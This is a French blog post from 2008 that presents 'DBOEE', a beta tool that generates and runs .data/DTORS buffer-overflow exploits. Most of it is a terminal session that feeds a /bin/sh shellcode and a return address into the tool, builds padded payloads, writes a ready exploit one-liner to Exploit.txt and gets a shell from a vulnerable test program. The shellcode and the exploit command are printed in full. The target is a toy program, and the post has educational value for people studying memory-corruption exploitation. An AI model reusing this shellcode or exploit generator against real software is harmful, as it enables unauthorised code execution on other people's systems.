2008/08/23

.Data Overflow et utilisation de "DBOEE" pour générer l'exploit approprié et exploiter

Salut a tous et a toutes .
Dans ce nouveau billet , je compte vous présenter mon projet baptisé "DBOEE" (Data-Based-Overflow Easy Exploitation) dans sa version "beta" si on peu dire .

Mais en quoi cela consiste -il ?

En fait , ce billet sera ici un complément du précédent concernant les .Data Overflows .
Le précédent billet m'a valut un commentaire de la part de quelqu'un ( il se reconnaitra j'espere ;-)) que j'admire me demandant "pourquoi tu n'as pas coder l'exploit qui va avec ?" .

Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c ( pas trés utile en soit) .

Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d'autres .Data Overflow ?


De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s'adapter a d'autre situations afin de pouvoir facilement exploiter et au passage générer l'exploit associé .

Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d'octets entre le buffer et la section DTORS a écraser ( j'automatiserais ça par la suite ) ainsi que la cible .

Concernant le nombre d'octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .
Une fois l'exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.

Voila pour la présentation du projet DBOEE qui n'en ait ici qu'a ses débuts ( voir readme joint a l'archive).
Place au test :
[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE


----------------------------
- Data-Based-Overflow Easy Exploitation -
----------------------------


[+]Programm :
-Devellopped by kmkz(c)
-Compilation :gcc -o DBOEE DBOEE.c

[+]Author's informations :
kmkz's web sites -> http://kmkz-web-blog.blogspot.com & www.collective-utopia.no-ip.fr

[+]This programm has been coded for makes easier the Data based Overflow exploitation.
You just have to give a shellcode(reached) , numbers of Bytes and the target name . DBOEE calculate the payload, exploit program and create feat ,nice isn't it.?

[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack


---------------------------****************---------------------------


---------------------------STARTING PROGRAM---------------------------


[*] Enter Adress Return :
"\x60\x95\x04\x08"

[*] Enter your shellcode :
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"


---------------------------Starting Exploitation---------------------------

[~]Program Running......

[~] check on the ongoing shellcode...
- Shellcode maximum Size : 1000
- Shellcode character -> 73
- Shellcode size (octets) -> 18


---------------------------Shellcode Created---------------------------


[*] enter the number of 'A' (octets) necessary for Overflow exploitation :
272

---------------------------Shellcode Created---------------------------

[~]Generating Payload....

(+)[Your Payload is] -->
272 x 'A' [your shellcode]

(+) subtraction of the shellcode bytes ...

[*] Payload generated is : printf 254 x 'A' [shellcode]


---------------------------Payload Created---------------------------

[~] Give me a target (example-> ./vuln)
./vuvu
-Target programm is -> ./vuvu

---------------------------Generating Exploit File---------------------------

[#] Creating Exploit File ....

[#]Exploit.txt : success !


[+] Sending payload...

------------ Result ------------
sh-3.2$

-----------------------------------------------------------------------------------------------------------------------------------------------------------
-Contenu du Fichier Exploit.txt -
-----------------------------------------------------------------------------------------------------------------------------------------------------------
`printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"
`
-----------------------------------------------------------------------------------------------------------------------------------------------------------

Comme on peu le constater , l'exploit généré correspond en tout points a celui obtenu lors du billet précédent.

-----
Archive du projet DBOEE
-----

Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation de m_101 (que je remercie au passage ).
Pour plus d'infos , consulter le "readme" inclu a l'archive.
A trés bientot et merci a tous \o !

ps2: Retrouver l'appel a participation au projet sur le forum

Collective-Utopia

1 commentaire:

Anonyme a dit…

Salut kmkz ;) ,

J'ai poster le code modifié sur ton forum, je n'ai pas modifier grand chose mais j'espère que ça te sera utile ;) .

Cheer ;) ,

m_101 (0x7B8321F0)